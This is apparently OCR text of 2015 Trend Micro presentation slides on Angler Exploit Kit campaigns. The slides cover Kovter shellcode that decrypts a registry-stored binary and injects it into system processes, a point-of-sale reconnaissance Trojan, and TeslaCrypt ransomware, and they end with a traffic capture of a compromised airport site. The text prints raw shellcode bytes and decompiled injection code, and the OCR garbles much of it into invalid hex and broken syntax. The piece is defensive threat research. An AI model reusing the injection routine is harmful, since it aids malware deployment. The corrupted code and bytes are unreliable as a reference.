,0x20,0xC1, 0xCF, 00D, 0x01,0xC7,0xE2, OxF0, 0x81, OXFF, 0x5E, 0xBC, 0X4A, 0x6R, 086, 0x54, 0x10, 086, 012, 0x75, 0xDB, 0x89, 0X5D, OXFC,
. 0x5F, 0x5E, 0x5B, 0x8B, 0x45, 0xFC, 0x89, 0x45, 0xD4, 0x8B, 0x45, 0xD4, 0x66,0x81,0x38, 0x4D, Ox54, 0x0F, O0x85, Ox0F, O0x02, 0x00, 0x00, Ox38B,
,0x45,0FC, 033, 0xD2, 0x52,0x50, 0x8B, 045, 0xD4, 0x8E, 0x40, 0x3C, 0X99,0x03, 0x04, 0x24, 0x13, 0x54, 0824, 0x04, 0x83, O0xC4, 008, 0x39,
,0x45,0xD0,0x88B,0x45,0xD0, 0x81, 0x38, Ox50, 0x45, 0x00, 0x00, Ox0F, Ox85,0xE5, 0x01, 0x00, Ox00, Ox8B, O0x45, 0xDO0, Ox8B, 0x40,0x78,0x03,
,0x45,0xFC, 0x8%, 045, 0xCC, 0x8E, 0x45, 0xCC, 0x8E, 0x40,0x18, 085, 0xC0, Ox0OF, 0x8C, 0xCEB, 0x01, Ox00, 0x00, 0x40, 0x89, 0x85, 0x3C, OxFF,
. OxFF, 0xFF, 033, 0xF6, 0x8B, 0x45, 0xFC, 0x33, 0xD2, 0x52, 0x50, 08B, 0x45,0xCC, 08B, 0x40,0x20, 0x33, 0rD2, 0x52, 0x50, 0x8B, 0xCe, OxC1,
,0xED,0x02,0x998,0x03, 0x04,0x24,0x13, 0x54,0x24,0x04, 0x83, 0xC4,0x08,0x03,0x04,0x24,0x13, 0x54,0=x24, 0x04, 0x83, 0xC4,0x08, 0x8E,
,0x08,0x03, 0x4D, 0xXFC, 0x81,0x39, 0x4C, Ox6F, Ox6l1, 0x64, 075,056, 0x8D, 0x41,0x04, 0x81, 0x38, 0x4C, 0r69, 0x62, 0872, 075, 0x4B, 03D,
,0x41,0x08,0x81,0x38,0x61,0x72,0x79,0x41,0x75, 0x40, 0x8D, Ox41, 0x0C, 0x80,0x38, 0x00, 0x75, 0x38, 0x8E, O0x45, 0xCC, 0x8B, 0x40,0x24,
,0x03,0=x45,0xFC, 033, 0xD2, 0x52, 0x50, 088, 0xCh, O0x03, 0xCO, 0x99, 003, 0x04,0x24, 0x13, 0x54, 0x24,0rx04, 0x83, 0xC4, 008, 066, 0x3E, il

Copyright 2015 Trend Micro Inc. "

==
-2
om
2 Z
Sl w



* Kovter serves CryptoWall DLL (5/5)

Shellcode decrypts and executes the binary stored in registry

ifF § tFlag )
4

iF ( t{ReqDpenkeyExn)( BxBRO0R0ON, aSoftware, B, 1, Bphkresult)/S open HKEY LOCAL HACHIHEASOF TWARE\ZFS3686FFd
£ query “CBEABIOITT
&& Y(ReqQuerylValueExn){pkresult, aSofFtware « 65, O, EaBGaB9P937, B8, &5ize)

BB Sloe > OGN )
{
nem o= (Uirtualfllocy {0, Size, Bx3000, O=40);

I 1. Queries registry that stores encrypted binary

counter = Sireg
index = @z

do
= (1 +1);

2. Decrypts using RC4

i o= (S[1) + i) & 255;
wdt = LOBYTE(S[I]):

b H e £ L

if { mem ) £
if { t{ReqgQueryplalueExn){pkresult, aSoftware
Flag = 13
H
H]
H
52 Copyright 2015 Trend Micro Inc.

loc_AB3:

loc_ACcA:

Aoy
noy
add
now
®or
push
push
push
call

push
call
pop
pop
pop
mow
pop
retn

; CODE XREF: sub_g@+aorFtj

eax, [ebp+EF]
eax, [eax+28h]
eax, [ebp+allocatedmnemory]

[ebp+InjectionEntryPoint], eax

eax, eax

eax

1

[ebp+allocatednemnory ]
[ebp+InjectionEntryPoint]

[ebp+ExitProcess]
edi

CODE XREF: sub_@+7517j
sub_Bs+7eFtj ...

esi 3. Injects code to
ebx regsvr32.exe or

esp, ebp

ebp svchost.exe

L

[naesesy == LOBYTECS[CS[IT * S01T) & 2557):

Etmn

- ZH" )

» s{decrypted « Ox3C);
F )
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* Angler EK pushes PoS Reconnaissance Trojan
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Bl Angler Exploit Kit Used to Find and Infect PoS Systems

2? 4:03 pm (UTC-F) | by Anthony Joe Melgarsjo (Threat Response Engineer)

e [ () Wit (5] Gt 2

An attack aiming to infect PoS systems was found using the Angler Exploit Kit to push a PoS reconnaissance
Trojan,This Trojan, detected as TROJ_RECOLOAD.A, checks for multiple conditions in the infected system like ifitis
a PoS machine or part of a PoS network. [tthen proceeds to download specific malware depending on the
conditions met. We've also found that this utilizes the fileless installation capability of the Angler Exploit Kit to avoid
detection.

Looking into its infection chain, we found that part of its reconnaissance involves searching for data related to
specific websites and companies. One example would be Verifone, a company that offers solutions for electronic
payments and PoS transactions. Based on the infection chain, we also believe that this attack is targeting web-
based terminals.

This finding suggests that attackers are now looking for ways to deploy PoS malware on a wider scale. Just recently,
we discovered a PoS threat that piggybacks on the established Andromeda botnetto reach PoS systems.

Arrival vector

The Angler Exploit Kit often uses malverizements and compromised sites as the starting point for infection. For this
specific incident, we found that the infection chain takes advantage of two Adobe Flash vulnerabilities (CWVE-2015-
0336 and CVE-2015-3104). After exploiting either vulnerahility the Trojan, detected as TROJ_RECOLOAD A, finds
its way to the system.

One detail that bears stressing is the use of fileless installation for this malware. Fileless installation involves
installing the malware into locations that are difficult to scan or detect. The malware exists only in memory and is
written directly to RAM instead of being installed in target computer's hard drive.

Anti-analysis technigues

By definition, reconnaissance requires stealth work. TROJ_RECOLOAD.A employs several anti-analysis techniques
before performing its main routine.

. It checks if modules related to virtualization, sandbox and analysis tools are loaded.
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* Angler EK serves TeslaCrypt

54

What happened to your files? TeslaCrypt

All of your files were protected by a strong encryption with RSA-2048

Scheme

More information about the encryption RSA-2048 can be found here: hitp.//en wikipedia org/wiki/RSA_(cryptosystem)

< Fiddler Web Debugger

File Edit Rules Tools View Help GET /book GeoEdge

8 WinConfig () 43 Replay X~ b Go ¥ Stream [ Decode = Keep: All sessions ~ €5 Any Process @4 Find [l Save 18 O

Airport website compromised
IE exploit CVE-2015-2419

Injected Script to Angler EK

=)
Result Protocol Host URL Body Caching |! @ Composer [E]_Log J_E] _Filters = Timeline
200 HTTP florencescairport.com / 7,503 L@Sﬂm]&ml;wl
200 HTTP love .elevatelightsh. .. /boards/index.php?PHPSE... 112,542 [ He ] Textview | WebForms | HexView | ,
200 HTTP love .elevatelightsh... /boards/quite.fcgi’length... 4,700 {
200 HTTP love .elevatelightsh... /kind.mapx?agreement=8... 42,818 GetSynta:Mew I T'm l m |
200 HTTP love .elevatelightsh... /kind.mapx?agreement=4&... 42,818 N IText‘View | ImageView | HexView I WebView |
200 HTTP ipinfo.io /i 14 Auth | Caching | Cookies | Raw | 1JsoN |
200 HTTP ledshoppen.nl  jwp-content/themes/r.ph... 25 |
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e Rise of Fileless Infection
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Source: www.recordedfuture.com
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Thank You!

benjamin_rivera@trendmicro.com
rhena_inocencio@trendmicro.com
www.trendmicro.com
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